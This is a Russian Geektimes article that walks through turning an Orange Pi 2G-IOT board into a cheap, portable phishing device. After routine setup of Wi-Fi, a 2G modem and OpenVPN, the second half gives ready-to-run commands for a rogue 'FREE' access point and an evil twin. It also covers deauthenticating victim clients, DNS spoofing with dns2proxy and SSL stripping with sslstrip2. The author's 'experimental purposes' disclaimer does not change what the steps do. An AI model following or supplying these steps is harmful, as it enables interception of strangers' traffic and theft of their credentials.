[Из песочницы] Orange Pi 2G-IOT или Апельсиновый рай

59cac247b4fb7547619158.jpeg

Шерстя просторы AliExpress
в поисках Raspberry Pi, я наткнулся на такую такое вот устройство.

Этот одноплатник за 10$ имеет скромные габариты (67×42 мм), содержит в себе: Cortex-A5 1,0 ГГц, 256Мб оперативной памяти, 512Мб NAND, а главное — встроенные WI-FI и 2G адаптеры!

Сразу вспомнилась статья «Ананасовый рай», вышедшая в журнале Хакер в далеком 2013 и я загорелся желанием превратить «апельсинку» в устройство для фишинга.

Сазу оговорюсь, что делается все это исключительно в экспериментальных целях.


Первые приготовления

Итак, идем на сайт производителя и скачиваем образ ОС, я выбрал Raspbian.
Далее, распаковываем его на micro sd карту, ставим перемычку в положение T-Card и включаем питание.

Для подключения можно использовать usb-ttl переходник, либо задать логин-пароль в /etc/network/interfaces и подключиться по ssh.

Теперь можно подключиться к Wi-Fi через wpa_cli


Скрытый текст
add_network
set_network 1 ssid "login"
set_network 1 psk "password"
enable_network 1

Настраиваем dhcp

dhclient wlan0 


Подключаемся через 2g

Устанавливаем пакеты

apt-get install ppp wvdial

Создаем конфиг файлы (я использовал сим карту от МТС).


/etc/wvdial.conf
[Dialer Defaults]
ISDN = 0
Modem Type = Analog Modem
Phone = *99***1#
Stupid Mode = 1
Dial Command = ATDT
Modem = /dev/modem0
Baud = 460800
Init1 = ATE1
Init2 = AT+COPS=0
Init3 = AT+CFUN=1
Init4 = AT+CGATT=1
Init5 = AT+CGDCONT=1,"IP","internet.mts.ru","",0,0
Init6 = AT+CGACT=1,1
Username = mts
Password = mts


/etc/ppp/peers/mts
ipcp-accept-local
ipcp-accept-remote
noipdefault
defaultroute
replacedefaultroute
usepeerdns
user mts
noauth
novj
nobsdcomp
crtscts
modem
lock

Пробуем подключиться; должно появиться ppp0 подключение.

wvdial 

Соединение может выпадать, поэтому напишем скрипт, который будет постоянно дергать сеть.

#!/bin/bash
while : ; do
       wvdial
       sleep 10
   done
) &

И положем его на автостарт в /etc/rc.local
/root/scripts/wvdial >/dev/null 2>&1 &


Настраиваем openvpn

Теперь поставим openvpn, чтобы мы могли без статики подключаться по SSH к нашей «апельсинке».

apt-get install openvpn

Гайды по настройки можно найти в сети, единственное — в файле конфига сервера необходимо раскомментировать опцию для маршрутизации трафика между хостами.
client-to-client

После настройки появляется tun0 соединение, перезапускаем openvpn и добавляем его в автозагрузку.

systemctl restart openvpn && systemctl enable openvpn

Теперь можно подключаться к устройству, минуя статику.
Чтобы 2G соединение не казалось нам болью, меняем приоритеты адаптеров и перезапускаем openvpn.

ip route del default && \
ip route add default via 192.168.100.1 dev wlan0 && \
ip route add 192.168.100.0/24 via 192.168.100.1 dev wlan0 && \
service openvpn restart 


Поднимаем точку доступа

Подключаем внешний usb Wifi адаптер и установим пакеты

apt-get install git dsniff isc-dhcp-server

Настроим dhcpd сервер.


/etc/dhcp/dhcpd.conf
authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 172.16.0.0 netmask 255.255.255.0 {
option routers 172.16.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 172.16.0.1,8.8.8.8;
range 172.16.0.2 172.16.0.254;
}

Включим маршрутизацию трафика

echo 1 > /proc/sys/net/ipv4/ip_forward

Теперь запустим точку доступа:

airbase-ng -e FREE wlan1 -c 2

Поднимем сеть

ifconfig at0 up
ifconfig at0 172.16.0.1 netmask  255.255.255.0

Настраиваем фаервол

iptables  --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
iptables --append FORWARD -j ACCEPT --in-interface at0

Запускаем демон dhcp

dhcpd -cf /etc/dhcp/dhcpd.conf

Отлично, точка доступа работает, маршрутизация работает.
Мы также можем создать «злого близнеца», поменяв SSID точки доступа, MAC адрес и канал связи.
Узнать информацию о доступных точках доступа, а также клиентов, подключенных к ним, можно, запустив утилиту airodump-ng.

airodump-ng wlan0

Можно даже отправить пакеты для разъединения клиенту, чтобы он подключился к нашей ТД.

aireplay-ng -0 1 -a 01:02:03:04:05:06 -c 11:12:13:14:15:16 wlan0

01:02:03:04:05:06 — mac ТД.
11:12:13:14:15:16 — mac клиента.


DNS Spoofing

Скачиваем репозиторий.

git clone https://github.com/LeonardoNve/dns2proxy

Редактируем под себя domains.cfg и запускаем программу.

echo ".test.com 172.16.0.1" >>  domains.cfg
apt-get install nginx // Немного коммента                                                                                                                                                       
python3 dns2proxy.py

Теперь клиенты, заходя на test.com, будут попадать на наш локальный веб-сервер.


SSL Stripping

Скачаем репозиторий

git clone https://github.com/byt3bl33d3r/sslstrip2

Перенаправляем трафик.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Запускаем программу.

python sslstrip -l 10000

К сожалению, сейчас sslstrip2 работает не со всеми сайтами.


Итог

За 10$ получилось собрать тот же «Ананасик», но гораздо компактнее.
С аккумулятором на 2000mAч устройства хватает примерно на сутки.


uv5of7dq2oazb_mxealhsg4unka.png

Характеристики на сайте производителя.
Скрипты по поднятию fake ap собрал в репозиторий.

© Geektimes